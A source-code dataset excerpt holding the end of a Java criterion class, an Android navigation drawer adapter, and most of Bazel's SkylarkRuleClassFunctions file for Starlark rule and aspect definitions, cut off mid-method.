return typeHandler;
}
protected Criterion(String condition) {
super();
this.condition = condition;
this.typeHandler = null;
this.noValue = true;
}
protected Criterion(String condition, Object value, String typeHandler) {
super();
this.condition = condition;
this.value = value;
this.typeHandler = typeHandler;
if (value instanceof List<?>) {
this.listValue = true;
} else {
this.singleValue = true;
}
}
protected Criterion(String condition, Object value) {
this(condition, value, null);
}
protected Criterion(String condition, Object value, Object secondValue, String typeHandler) {
super();
this.condition = condition;
this.value = value;
this.secondValue = secondValue;
this.typeHandler = typeHandler;
this.betweenValue = true;
}
protected Criterion(String condition, Object value, Object secondValue) {
this(condition, value, secondValue, null);
}
}
} |
3e0e6d78f371b81fde8a97e611c272f15e3b408d | 4,447 | java | Java | MaterialDesignNavigationDrawer/app/src/main/java/deepmehtait/com/materialdesignnavigationdrawer/activity/DrawerAdapter.java | deepmehtait/Android-Material-Navigation-Drawer | 6e9d2be6f49bcbe951b4d5861e6037e3eb1131a5 | [
"MIT"
] | null | null | null | MaterialDesignNavigationDrawer/app/src/main/java/deepmehtait/com/materialdesignnavigationdrawer/activity/DrawerAdapter.java | deepmehtait/Android-Material-Navigation-Drawer | 6e9d2be6f49bcbe951b4d5861e6037e3eb1131a5 | [
"MIT"
] | null | null | null | MaterialDesignNavigationDrawer/app/src/main/java/deepmehtait/com/materialdesignnavigationdrawer/activity/DrawerAdapter.java | deepmehtait/Android-Material-Navigation-Drawer | 6e9d2be6f49bcbe951b4d5861e6037e3eb1131a5 | [
"MIT"
] | null | null | null | 36.45082 | 112 | 0.619069 | 6,124 | package deepmehtait.com.materialdesignnavigationdrawer.activity;
import android.content.Context;
import android.content.Intent;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.squareup.picasso.Picasso;
import java.util.List;
import deepmehtait.com.materialdesignnavigationdrawer.R;
/**
* Created by Deep on 19-Apr-16.
*/public class DrawerAdapter extends RecyclerView.Adapter<DrawerAdapter.ViewHolder>{
private static final int HEADER_TYPE = 0;
private static final int ROW_TYPE = 1;
private List<String> rows;
Context context;
String userName,userImageUrl;
public DrawerAdapter(Context context,List<String> rows,String userName,String userImageUrl) {
this.rows = rows;
this.context=context;
this.userName=userName;
this.userImageUrl=userImageUrl;
}
@Override
public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
if (viewType == HEADER_TYPE) {
View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.drawer_header, parent, false);
return new ViewHolder(view, viewType);
} else if (viewType == ROW_TYPE) {
View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.drawer_row, parent, false);
return new ViewHolder(view, viewType);
}
return null;
}
@Override
public void onBindViewHolder(ViewHolder holder, int position) {
if(holder.viewType==HEADER_TYPE){
Picasso.with(context).load(R.mipmap.ic_launcher).into(holder.headerImageView);
holder.headerTextView.setText(userName);
}
if (holder.viewType == ROW_TYPE) {
int location=position-1;
if(location==0){
String rowText = rows.get(location);
holder.textView.setText(rowText);
Picasso.with(context).load(R.drawable.ic_dashboard_black_24dp).into(holder.imageView);
}else if(location==1){
String rowText = rows.get(location);
holder.textView.setText(rowText);
Picasso.with(context).load(R.drawable.ic_settings_black_24dp).into(holder.imageView);
}
}
}
@Override
public int getItemCount() {
return rows.size() + 1;
}
@Override
public int getItemViewType(int position) {
if (position == 0)
return HEADER_TYPE;
return ROW_TYPE;
}
public static class ViewHolder extends RecyclerView.ViewHolder {
protected int viewType;
ImageView imageView,headerImageView;
TextView textView,headerTextView;
public ViewHolder(final View itemView, int viewType) {
super(itemView);
this.viewType = viewType;
if(viewType== HEADER_TYPE){
headerImageView=(ImageView)itemView.findViewById(R.id.drawer_header_image);
headerTextView=(TextView)itemView.findViewById(R.id.drawer_header_text);
}
if (viewType == ROW_TYPE) {
imageView=(ImageView)itemView.findViewById(R.id.drawer_row_icon);
textView=(TextView)itemView.findViewById(R.id.drawer_row_text);
itemView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int position=getAdapterPosition()-1;
if(position==0){
Intent i=new Intent(itemView.getContext(),Dashboard.class);
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
itemView.getContext().startActivity(i);
}else if(position==1){
Intent i=new Intent(itemView.getContext(),Setting.class);
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
itemView.getContext().startActivity(i);
}
//Toast.makeText(itemView.getContext(),"post-"+position,Toast.LENGTH_SHORT).show();
}
});
}
}
}
}
|
3e0e6f15deac1ce118763d94c66e265f82000fee | 38,879 | java | Java | src/main/java/com/google/devtools/build/lib/analysis/skylark/SkylarkRuleClassFunctions.java | moroten/bazel | f17c403b2365ff0268b0ecae2e00e95fcad9d36b | [
"Apache-2.0"
] | 1 | 2020-10-02T00:24:23.000Z | 2020-10-02T00:24:23.000Z | src/main/java/com/google/devtools/build/lib/analysis/skylark/SkylarkRuleClassFunctions.java | moroten/bazel | f17c403b2365ff0268b0ecae2e00e95fcad9d36b | [
"Apache-2.0"
] | null | null | null | src/main/java/com/google/devtools/build/lib/analysis/skylark/SkylarkRuleClassFunctions.java | moroten/bazel | f17c403b2365ff0268b0ecae2e00e95fcad9d36b | [
"Apache-2.0"
] | null | null | null | 44.281321 | 114 | 0.675095 | 6,125 | // Copyright 2014 The Bazel Authors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.devtools.build.lib.analysis.skylark;
import static com.google.devtools.build.lib.analysis.BaseRuleClasses.RUN_UNDER;
import static com.google.devtools.build.lib.analysis.BaseRuleClasses.getTestRuntimeLabelList;
import static com.google.devtools.build.lib.packages.Attribute.attr;
import static com.google.devtools.build.lib.packages.BuildType.LABEL;
import static com.google.devtools.build.lib.packages.BuildType.LABEL_LIST;
import static com.google.devtools.build.lib.packages.BuildType.LICENSE;
import static com.google.devtools.build.lib.packages.Type.BOOLEAN;
import static com.google.devtools.build.lib.packages.Type.INTEGER;
import static com.google.devtools.build.lib.packages.Type.STRING;
import static com.google.devtools.build.lib.packages.Type.STRING_LIST;
import com.google.common.base.Preconditions;
import com.google.common.cache.CacheBuilder;
import com.google.common.cache.CacheLoader;
import com.google.common.cache.LoadingCache;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.ImmutableSet;
import com.google.devtools.build.lib.actions.Artifact;
import com.google.devtools.build.lib.analysis.BaseRuleClasses;
import com.google.devtools.build.lib.analysis.ExecGroupCollection;
import com.google.devtools.build.lib.analysis.RuleDefinitionContext;
import com.google.devtools.build.lib.analysis.TemplateVariableInfo;
import com.google.devtools.build.lib.analysis.config.ConfigAwareRuleClassBuilder;
import com.google.devtools.build.lib.analysis.config.HostTransition;
import com.google.devtools.build.lib.analysis.config.StarlarkDefinedConfigTransition;
import com.google.devtools.build.lib.analysis.skylark.StarlarkAttrModule.Descriptor;
import com.google.devtools.build.lib.analysis.test.TestConfiguration;
import com.google.devtools.build.lib.cmdline.Label;
import com.google.devtools.build.lib.cmdline.LabelSyntaxException;
import com.google.devtools.build.lib.cmdline.LabelValidator;
import com.google.devtools.build.lib.cmdline.RepositoryName;
import com.google.devtools.build.lib.packages.Attribute;
import com.google.devtools.build.lib.packages.AttributeContainer;
import com.google.devtools.build.lib.packages.AttributeMap;
import com.google.devtools.build.lib.packages.AttributeValueSource;
import com.google.devtools.build.lib.packages.BazelStarlarkContext;
import com.google.devtools.build.lib.packages.BuildSetting;
import com.google.devtools.build.lib.packages.BuildType;
import com.google.devtools.build.lib.packages.ExecGroup;
import com.google.devtools.build.lib.packages.FunctionSplitTransitionWhitelist;
import com.google.devtools.build.lib.packages.ImplicitOutputsFunction.StarlarkImplicitOutputsFunctionWithCallback;
import com.google.devtools.build.lib.packages.ImplicitOutputsFunction.StarlarkImplicitOutputsFunctionWithMap;
import com.google.devtools.build.lib.packages.Package.NameConflictException;
import com.google.devtools.build.lib.packages.PackageFactory.PackageContext;
import com.google.devtools.build.lib.packages.PredicateWithMessage;
import com.google.devtools.build.lib.packages.Provider;
import com.google.devtools.build.lib.packages.RuleClass;
import com.google.devtools.build.lib.packages.RuleClass.Builder.RuleClassType;
import com.google.devtools.build.lib.packages.RuleFactory;
import com.google.devtools.build.lib.packages.RuleFactory.BuildLangTypedAttributeValuesMap;
import com.google.devtools.build.lib.packages.RuleFactory.InvalidRuleException;
import com.google.devtools.build.lib.packages.RuleFunction;
import com.google.devtools.build.lib.packages.SkylarkAspect;
import com.google.devtools.build.lib.packages.SkylarkDefinedAspect;
import com.google.devtools.build.lib.packages.SkylarkExportable;
import com.google.devtools.build.lib.packages.StarlarkCallbackHelper;
import com.google.devtools.build.lib.packages.StarlarkProvider;
import com.google.devtools.build.lib.packages.StarlarkProviderIdentifier;
import com.google.devtools.build.lib.packages.TargetUtils;
import com.google.devtools.build.lib.packages.TestSize;
import com.google.devtools.build.lib.packages.Type;
import com.google.devtools.build.lib.packages.Type.ConversionException;
import com.google.devtools.build.lib.skyframe.serialization.autocodec.AutoCodec;
import com.google.devtools.build.lib.skylarkbuildapi.SkylarkRuleFunctionsApi;
import com.google.devtools.build.lib.syntax.Dict;
import com.google.devtools.build.lib.syntax.EvalException;
import com.google.devtools.build.lib.syntax.Identifier;
import com.google.devtools.build.lib.syntax.Location;
import com.google.devtools.build.lib.syntax.Module;
import com.google.devtools.build.lib.syntax.Printer;
import com.google.devtools.build.lib.syntax.Sequence;
import com.google.devtools.build.lib.syntax.Starlark;
import com.google.devtools.build.lib.syntax.StarlarkCallable;
import com.google.devtools.build.lib.syntax.StarlarkFunction;
import com.google.devtools.build.lib.syntax.StarlarkThread;
import com.google.devtools.build.lib.syntax.Tuple;
import com.google.devtools.build.lib.util.FileTypeSet;
import com.google.devtools.build.lib.util.Pair;
import java.util.Collection;
import java.util.Map;
import java.util.concurrent.ExecutionException;
/** A helper class to provide an easier API for Starlark rule definitions. */
public class SkylarkRuleClassFunctions implements SkylarkRuleFunctionsApi<Artifact> {
// TODO(bazel-team): Copied from ConfiguredRuleClassProvider for the transition from built-in
// rules to Starlark extensions. Using the same instance would require a large refactoring.
// If we don't want to support old built-in rules and Starlark simultaneously
// (except for transition phase) it's probably OK.
private static final LoadingCache<String, Label> labelCache =
CacheBuilder.newBuilder()
.build(
new CacheLoader<String, Label>() {
@Override
public Label load(String from) throws Exception {
try {
return Label.parseAbsolute(
from,
/* defaultToMain=*/ false,
/* repositoryMapping= */ ImmutableMap.of());
} catch (LabelSyntaxException e) {
throw new Exception(from);
}
}
});
// TODO(bazel-team): Remove the code duplication (BaseRuleClasses and this class).
/** Parent rule class for non-executable non-test Starlark rules. */
public static final RuleClass baseRule =
BaseRuleClasses.commonCoreAndSkylarkAttributes(
BaseRuleClasses.nameAttribute(
new RuleClass.Builder("$base_rule", RuleClassType.ABSTRACT, true))
.add(attr("expect_failure", STRING)))
// TODO(skylark-team): Allow Starlark rules to extend native rules and remove duplication.
.add(
attr("toolchains", LABEL_LIST)
.allowedFileTypes(FileTypeSet.NO_FILE)
.mandatoryProviders(ImmutableList.of(TemplateVariableInfo.PROVIDER.id()))
.dontCheckConstraints())
.add(attr(RuleClass.EXEC_PROPERTIES, Type.STRING_DICT).value(ImmutableMap.of()))
.add(
attr(RuleClass.EXEC_COMPATIBLE_WITH_ATTR, BuildType.LABEL_LIST)
.allowedFileTypes()
.nonconfigurable("Used in toolchain resolution")
.value(ImmutableList.of()))
.build();
/** Parent rule class for executable non-test Starlark rules. */
public static final RuleClass binaryBaseRule =
new RuleClass.Builder("$binary_base_rule", RuleClassType.ABSTRACT, true, baseRule)
.add(attr("args", STRING_LIST))
.add(attr("output_licenses", LICENSE))
.build();
/** Parent rule class for test Starlark rules. */
public static final RuleClass getTestBaseRule(RuleDefinitionContext env) {
String toolsRepository = env.getToolsRepository();
return new RuleClass.Builder("$test_base_rule", RuleClassType.ABSTRACT, true, baseRule)
.requiresConfigurationFragments(TestConfiguration.class)
.add(
attr("size", STRING)
.value("medium")
.taggable()
.nonconfigurable("used in loading phase rule validation logic"))
.add(
attr("timeout", STRING)
.taggable()
.nonconfigurable("used in loading phase rule validation logic")
.value(timeoutAttribute))
.add(
attr("flaky", BOOLEAN)
.value(false)
.taggable()
.nonconfigurable("taggable - called in Rule.getRuleTags"))
.add(attr("shard_count", INTEGER).value(-1))
.add(
attr("local", BOOLEAN)
.value(false)
.taggable()
.nonconfigurable(
"policy decision: this should be consistent across configurations"))
.add(attr("args", STRING_LIST))
// Input files for every test action
.add(
attr("$test_wrapper", LABEL)
.cfg(HostTransition.createFactory())
.singleArtifact()
.value(labelCache.getUnchecked(toolsRepository + "//tools/test:test_wrapper")))
.add(
attr("$xml_writer", LABEL)
.cfg(HostTransition.createFactory())
.singleArtifact()
.value(labelCache.getUnchecked(toolsRepository + "//tools/test:xml_writer")))
.add(
attr("$test_runtime", LABEL_LIST)
.cfg(HostTransition.createFactory())
// Getting this default value through the getTestRuntimeLabelList helper ensures we
// reuse the same ImmutableList<Label> instance for each $test_runtime attr.
.value(getTestRuntimeLabelList(env)))
.add(
attr("$test_setup_script", LABEL)
.cfg(HostTransition.createFactory())
.singleArtifact()
.value(labelCache.getUnchecked(toolsRepository + "//tools/test:test_setup")))
.add(
attr("$xml_generator_script", LABEL)
.cfg(HostTransition.createFactory())
.singleArtifact()
.value(
labelCache.getUnchecked(toolsRepository + "//tools/test:test_xml_generator")))
.add(
attr("$collect_coverage_script", LABEL)
.cfg(HostTransition.createFactory())
.singleArtifact()
.value(labelCache.getUnchecked(toolsRepository + "//tools/test:collect_coverage")))
// Input files for test actions collecting code coverage
.add(
attr(":coverage_support", LABEL)
.cfg(HostTransition.createFactory())
.value(
BaseRuleClasses.coverageSupportAttribute(
labelCache.getUnchecked(
toolsRepository + BaseRuleClasses.DEFAULT_COVERAGE_SUPPORT_VALUE))))
// Used in the one-per-build coverage report generation action.
.add(
attr(":coverage_report_generator", LABEL)
.cfg(HostTransition.createFactory())
.value(
BaseRuleClasses.coverageReportGeneratorAttribute(
labelCache.getUnchecked(
toolsRepository
+ BaseRuleClasses.DEFAULT_COVERAGE_REPORT_GENERATOR_VALUE))))
.add(attr(":run_under", LABEL).value(RUN_UNDER))
.build();
}
@AutoCodec @AutoCodec.VisibleForSerialization
static final Attribute.ComputedDefault timeoutAttribute =
new Attribute.ComputedDefault() {
@Override
public Object getDefault(AttributeMap rule) {
TestSize size = TestSize.getTestSize(rule.get("size", Type.STRING));
if (size != null) {
String timeout = size.getDefaultTimeout().toString();
if (timeout != null) {
return timeout;
}
}
return "illegal";
}
};
@Override
public Provider provider(String doc, Object fields, StarlarkThread thread) throws EvalException {
Collection<String> fieldNames =
fields instanceof Sequence
? Sequence.cast(fields, String.class, "fields")
: fields instanceof Dict
? Dict.cast(fields, String.class, String.class, "fields").keySet()
: null;
return StarlarkProvider.createUnexportedSchemaful(fieldNames, thread.getCallerLocation());
}
// TODO(bazel-team): implement attribute copy and other rule properties
@Override
public StarlarkCallable rule(
StarlarkFunction implementation,
Boolean test,
Object attrs,
Object implicitOutputs,
Boolean executable,
Boolean outputToGenfiles,
Sequence<?> fragments,
Sequence<?> hostFragments,
Boolean skylarkTestable,
Sequence<?> toolchains,
String doc,
Sequence<?> providesArg,
Sequence<?> execCompatibleWith,
Object analysisTest,
Object buildSetting,
Object cfg,
Object execGroups,
StarlarkThread thread)
throws EvalException {
BazelStarlarkContext bazelContext = BazelStarlarkContext.from(thread);
bazelContext.checkLoadingOrWorkspacePhase("rule");
// analysis_test=true implies test=true.
test |= Boolean.TRUE.equals(analysisTest);
RuleClassType type = test ? RuleClassType.TEST : RuleClassType.NORMAL;
RuleClass parent =
test ? getTestBaseRule(bazelContext) : (executable ? binaryBaseRule : baseRule);
// We'll set the name later, pass the empty string for now.
RuleClass.Builder builder = new RuleClass.Builder("", type, true, parent);
ImmutableList<StarlarkThread.CallStackEntry> callstack = thread.getCallStack();
builder.setCallStack(callstack.subList(0, callstack.size() - 1)); // pop 'rule' itself
ImmutableList<Pair<String, StarlarkAttrModule.Descriptor>> attributes =
attrObjectToAttributesList(attrs);
if (skylarkTestable) {
builder.setStarlarkTestable();
}
if (Boolean.TRUE.equals(analysisTest)) {
builder.setIsAnalysisTest();
}
if (executable || test) {
addAttribute(
builder,
attr("$is_executable", BOOLEAN)
.value(true)
.nonconfigurable("Called from RunCommand.isExecutable, which takes a Target")
.build());
builder.setExecutableStarlark();
}
if (implicitOutputs != Starlark.NONE) {
if (implicitOutputs instanceof StarlarkFunction) {
StarlarkCallbackHelper callback =
new StarlarkCallbackHelper(
(StarlarkFunction) implicitOutputs, thread.getSemantics(), bazelContext);
builder.setImplicitOutputsFunction(
new StarlarkImplicitOutputsFunctionWithCallback(callback, thread.getCallerLocation()));
} else {
builder.setImplicitOutputsFunction(
new StarlarkImplicitOutputsFunctionWithMap(
ImmutableMap.copyOf(
Dict.cast(
implicitOutputs,
String.class,
String.class,
"implicit outputs of the rule class"))));
}
}
if (outputToGenfiles) {
builder.setOutputToGenfiles();
}
builder.requiresConfigurationFragmentsByStarlarkModuleName(
Sequence.cast(fragments, String.class, "fragments"));
ConfigAwareRuleClassBuilder.of(builder)
.requiresHostConfigurationFragmentsByStarlarkBuiltinName(
Sequence.cast(hostFragments, String.class, "host_fragments"));
builder.setConfiguredTargetFunction(implementation);
builder.setRuleDefinitionEnvironmentLabelAndDigest(
(Label) Module.ofInnermostEnclosingStarlarkFunction(thread).getLabel(),
bazelContext.getTransitiveDigest());
builder.addRequiredToolchains(parseToolchains(toolchains, thread));
if (execGroups != Starlark.NONE) {
Map<String, ExecGroup> execGroupDict =
Dict.cast(execGroups, String.class, ExecGroup.class, "exec_group");
for (String group : execGroupDict.keySet()) {
// TODO(b/151742236): document this in the param documentation.
if (!ExecGroupCollection.isValidGroupName(group)) {
throw Starlark.errorf("Exec group name '%s' is not a valid name.", group);
}
}
builder.addExecGroups(execGroupDict);
}
if (!buildSetting.equals(Starlark.NONE) && !cfg.equals(Starlark.NONE)) {
throw Starlark.errorf(
"Build setting rules cannot use the `cfg` param to apply transitions to themselves.");
}
if (!buildSetting.equals(Starlark.NONE)) {
builder.setBuildSetting((BuildSetting) buildSetting);
}
if (!cfg.equals(Starlark.NONE)) {
if (!(cfg instanceof StarlarkDefinedConfigTransition)) {
throw Starlark.errorf(
"`cfg` must be set to a transition object initialized by the transition() function.");
}
StarlarkDefinedConfigTransition starlarkDefinedConfigTransition =
(StarlarkDefinedConfigTransition) cfg;
builder.cfg(new StarlarkRuleTransitionProvider(starlarkDefinedConfigTransition));
builder.setHasStarlarkRuleTransition();
}
for (Object o : providesArg) {
if (!StarlarkAttrModule.isProvider(o)) {
throw Starlark.errorf(
"Illegal argument: element in 'provides' is of unexpected type. "
+ "Should be list of providers, but got item of type %s.",
Starlark.type(o));
}
}
for (StarlarkProviderIdentifier skylarkProvider :
StarlarkAttrModule.getStarlarkProviderIdentifiers(providesArg)) {
builder.advertiseStarlarkProvider(skylarkProvider);
}
if (!execCompatibleWith.isEmpty()) {
builder.addExecutionPlatformConstraints(parseExecCompatibleWith(execCompatibleWith, thread));
}
return new SkylarkRuleFunction(builder, type, attributes, thread.getCallerLocation());
}
private static void checkAttributeName(String name) throws EvalException {
if (!Identifier.isValid(name)) {
throw Starlark.errorf("attribute name `%s` is not a valid identifier.", name);
}
}
private static ImmutableList<Pair<String, StarlarkAttrModule.Descriptor>>
attrObjectToAttributesList(Object attrs) throws EvalException {
ImmutableList.Builder<Pair<String, StarlarkAttrModule.Descriptor>> attributes =
ImmutableList.builder();
if (attrs != Starlark.NONE) {
for (Map.Entry<String, Descriptor> attr :
Dict.cast(attrs, String.class, Descriptor.class, "attrs").entrySet()) {
Descriptor attrDescriptor = attr.getValue();
AttributeValueSource source = attrDescriptor.getValueSource();
checkAttributeName(attr.getKey());
String attrName = source.convertToNativeName(attr.getKey());
attributes.add(Pair.of(attrName, attrDescriptor));
}
}
return attributes.build();
}
private static void addAttribute(RuleClass.Builder builder, Attribute attribute)
throws EvalException {
try {
builder.addAttribute(attribute);
} catch (IllegalStateException ex) {
throw new EvalException(null, ex);
}
}
/**
* Parses a sequence of label strings with a repo mapping.
*
* @param inputs sequence of input strings
* @param mapping repository mapping
* @param adjective describes the purpose of the label; used for errors
* @throws EvalException if the label can't be parsed
*/
private static ImmutableList<Label> parseLabels(
Iterable<String> inputs,
ImmutableMap<RepositoryName, RepositoryName> mapping,
String adjective)
throws EvalException {
ImmutableList.Builder<Label> parsedLabels = new ImmutableList.Builder<>();
for (String input : inputs) {
try {
Label label = Label.parseAbsolute(input, mapping);
parsedLabels.add(label);
} catch (LabelSyntaxException e) {
throw Starlark.errorf(
"Unable to parse %s label '%s': %s", adjective, input, e.getMessage());
}
}
return parsedLabels.build();
}
private static ImmutableList<Label> parseToolchains(Sequence<?> inputs, StarlarkThread thread)
throws EvalException {
return parseLabels(
Sequence.cast(inputs, String.class, "toolchains"),
BazelStarlarkContext.from(thread).getRepoMapping(),
"toolchain");
}
private static ImmutableList<Label> parseExecCompatibleWith(
Sequence<?> inputs, StarlarkThread thread) throws EvalException {
return parseLabels(
Sequence.cast(inputs, String.class, "exec_compatible_with"),
BazelStarlarkContext.from(thread).getRepoMapping(),
"constraint");
}
@Override
public SkylarkAspect aspect(
StarlarkFunction implementation,
Sequence<?> attributeAspects,
Object attrs,
Sequence<?> requiredAspectProvidersArg,
Sequence<?> providesArg,
Sequence<?> fragments,
Sequence<?> hostFragments,
Sequence<?> toolchains,
String doc,
Boolean applyToGeneratingRules,
StarlarkThread thread)
throws EvalException {
ImmutableList.Builder<String> attrAspects = ImmutableList.builder();
for (Object attributeAspect : attributeAspects) {
String attrName = STRING.convert(attributeAspect, "attr_aspects");
if (attrName.equals("*") && attributeAspects.size() != 1) {
throw new EvalException(null, "'*' must be the only string in 'attr_aspects' list");
}
if (!attrName.startsWith("_")) {
attrAspects.add(attrName);
} else {
// Implicit attribute names mean either implicit or late-bound attributes
// (``$attr`` or ``:attr``). Depend on both.
attrAspects.add(AttributeValueSource.COMPUTED_DEFAULT.convertToNativeName(attrName));
attrAspects.add(AttributeValueSource.LATE_BOUND.convertToNativeName(attrName));
}
}
ImmutableList<Pair<String, StarlarkAttrModule.Descriptor>> descriptors =
attrObjectToAttributesList(attrs);
ImmutableList.Builder<Attribute> attributes = ImmutableList.builder();
ImmutableSet.Builder<String> requiredParams = ImmutableSet.builder();
for (Pair<String, Descriptor> nameDescriptorPair : descriptors) {
String nativeName = nameDescriptorPair.first;
boolean hasDefault = nameDescriptorPair.second.hasDefault();
Attribute attribute = nameDescriptorPair.second.build(nameDescriptorPair.first);
if (attribute.getType() == Type.STRING
&& ((String) attribute.getDefaultValue(null)).isEmpty()) {
hasDefault = false; // isValueSet() is always true for attr.string.
}
if (!Attribute.isImplicit(nativeName) && !Attribute.isLateBound(nativeName)) {
if (!attribute.checkAllowedValues() || attribute.getType() != Type.STRING) {
throw new EvalException(
null,
String.format(
"Aspect parameter attribute '%s' must have type 'string' and use the "
+ "'values' restriction.",
nativeName));
}
if (!hasDefault) {
requiredParams.add(nativeName);
} else {
PredicateWithMessage<Object> allowed = attribute.getAllowedValues();
Object defaultVal = attribute.getDefaultValue(null);
if (!allowed.apply(defaultVal)) {
throw new EvalException(
null,
String.format(
"Aspect parameter attribute '%s' has a bad default value: %s",
nativeName, allowed.getErrorReason(defaultVal)));
}
}
} else if (!hasDefault) { // Implicit or late bound attribute
String skylarkName = "_" + nativeName.substring(1);
throw new EvalException(
null, String.format("Aspect attribute '%s' has no default value.", skylarkName));
}
attributes.add(attribute);
}
for (Object o : providesArg) {
if (!StarlarkAttrModule.isProvider(o)) {
throw new EvalException(
null,
String.format(
"Illegal argument: element in 'provides' is of unexpected type. "
+ "Should be list of providers, but got item of type %s. ",
Starlark.type(o)));
}
}
return new SkylarkDefinedAspect(
implementation,
attrAspects.build(),
attributes.build(),
StarlarkAttrModule.buildProviderPredicate(
requiredAspectProvidersArg, "required_aspect_providers"),
StarlarkAttrModule.getStarlarkProviderIdentifiers(providesArg),
requiredParams.build(),
ImmutableSet.copyOf(Sequence.cast(fragments, String.class, "fragments")),
HostTransition.INSTANCE,
ImmutableSet.copyOf(Sequence.cast(hostFragments, String.class, "host_fragments")),
parseToolchains(toolchains, thread),
applyToGeneratingRules);
}
/**
* The implementation for the magic function "rule" that creates Starlark rule classes.
*
* <p>Exactly one of {@link #builder} or {@link #ruleClass} is null except inside {@link #export}.
*/
public static final class SkylarkRuleFunction
implements StarlarkCallable, SkylarkExportable, RuleFunction {
private RuleClass.Builder builder;
private RuleClass ruleClass;
private final RuleClassType type;
private ImmutableList<Pair<String, StarlarkAttrModule.Descriptor>> attributes;
private final Location definitionLocation;
private Label skylarkLabel;
public SkylarkRuleFunction(
RuleClass.Builder builder,
RuleClassType type,
ImmutableList<Pair<String, StarlarkAttrModule.Descriptor>> attributes,
Location definitionLocation) {
this.builder = builder;
this.type = type;
this.attributes = attributes;
this.definitionLocation = definitionLocation;
}
/** This is for post-export reconstruction for serialization. */
private SkylarkRuleFunction(
RuleClass ruleClass, RuleClassType type, Location definitionLocation, Label skylarkLabel) {
Preconditions.checkNotNull(
ruleClass,
"RuleClass must be non-null as this SkylarkRuleFunction should have been exported.");
Preconditions.checkNotNull(
skylarkLabel,
"Label must be non-null as this SkylarkRuleFunction should have been exported.");
this.ruleClass = ruleClass;
this.type = type;
this.definitionLocation = definitionLocation;
this.skylarkLabel = skylarkLabel;
}
@Override
public String getName() {
return "rule";
}
@Override
public Object call(StarlarkThread thread, Tuple<Object> args, Dict<String, Object> kwargs)
throws EvalException, InterruptedException, ConversionException {
if (!args.isEmpty()) {
throw new EvalException(null, "unexpected positional arguments");
}
BazelStarlarkContext.from(thread).checkLoadingPhase(getName());
if (ruleClass == null) {
throw new EvalException(null, "Invalid rule class hasn't been exported by a bzl file");
}
for (Attribute attribute : ruleClass.getAttributes()) {
// TODO(dslomov): If a Starlark parameter extractor is specified for this aspect, its
// attributes may not be required.
for (Map.Entry<String, ImmutableSet<String>> attrRequirements :
attribute.getRequiredAspectParameters().entrySet()) {
for (String required : attrRequirements.getValue()) {
if (!ruleClass.hasAttr(required, Type.STRING)) {
throw Starlark.errorf(
"Aspect %s requires rule %s to specify attribute '%s' with type string.",
attrRequirements.getKey(), ruleClass.getName(), required);
}
}
}
}
BuildLangTypedAttributeValuesMap attributeValues =
new BuildLangTypedAttributeValuesMap(kwargs);
try {
PackageContext pkgContext = thread.getThreadLocal(PackageContext.class);
if (pkgContext == null) {
throw new EvalException(
null,
"Cannot instantiate a rule when loading a .bzl file. "
+ "Rules may be instantiated only in a BUILD thread.");
}
RuleFactory.createAndAddRule(
pkgContext,
ruleClass,
attributeValues,
thread.getSemantics(),
thread.getCallStack(),
new AttributeContainer(ruleClass));
} catch (InvalidRuleException | NameConflictException e) {
throw new EvalException(null, e.getMessage());
}
return Starlark.NONE;
}
/** Export a RuleFunction from a Starlark file with a given name. */
public void export(Label skylarkLabel, String ruleClassName) throws EvalException {
Preconditions.checkState(ruleClass == null && builder != null);
this.skylarkLabel = skylarkLabel;
if (type == RuleClassType.TEST != TargetUtils.isTestRuleName(ruleClassName)) {
throw new EvalException(
definitionLocation,
"Invalid rule class name '"
+ ruleClassName
+ "', test rule class names must end with '_test' and other rule classes must not");
}
// Thus far, we only know if we have a rule transition. While iterating through attributes,
// check if we have an attribute transition.
boolean hasStarlarkDefinedTransition = builder.hasStarlarkRuleTransition();
boolean hasFunctionTransitionWhitelist = false;
for (Pair<String, StarlarkAttrModule.Descriptor> attribute : attributes) {
String name = attribute.getFirst();
StarlarkAttrModule.Descriptor descriptor = attribute.getSecond();
Attribute attr = descriptor.build(name);
hasStarlarkDefinedTransition |= attr.hasStarlarkDefinedTransition();
if (attr.hasAnalysisTestTransition()) {
if (!builder.isAnalysisTest()) {
throw new EvalException(
getLocation(),
"Only rule definitions with analysis_test=True may have attributes with "
+ "analysis_test_transition transitions");
}
builder.setHasAnalysisTestTransition();
}
// Check for existence of the function transition whitelist attribute.
// TODO(b/121385274): remove when we stop whitelisting starlark transitions
if (name.equals(FunctionSplitTransitionWhitelist.WHITELIST_ATTRIBUTE_NAME)) {
if (!BuildType.isLabelType(attr.getType())) {
throw new EvalException(
getLocation(), "_whitelist_function_transition attribute must be a label type");
}
if (attr.getDefaultValueUnchecked() == null) {
throw new EvalException(
getLocation(),
"_whitelist_function_transition attribute must have a default value");
}
Label defaultLabel = (Label) attr.getDefaultValueUnchecked();
// Check the label value for package and target name, to make sure this works properly
// in Bazel where it is expected to be found under @bazel_tools.
if (!defaultLabel
.getPackageName()
.equals(FunctionSplitTransitionWhitelist.WHITELIST_LABEL.getPackageName())
|| !defaultLabel
.getName()
.equals(FunctionSplitTransitionWhitelist.WHITELIST_LABEL.getName())) {
throw new EvalException(
getLocation(),
"_whitelist_function_transition attribute ("
+ defaultLabel
+ ") does not have the expected value "
+ FunctionSplitTransitionWhitelist.WHITELIST_LABEL);
}
hasFunctionTransitionWhitelist = true;
builder.setHasFunctionTransitionWhitelist();
}
addAttribute(builder, attr);
}
// TODO(b/121385274): remove when we stop whitelisting starlark transitions
if (hasStarlarkDefinedTransition) {
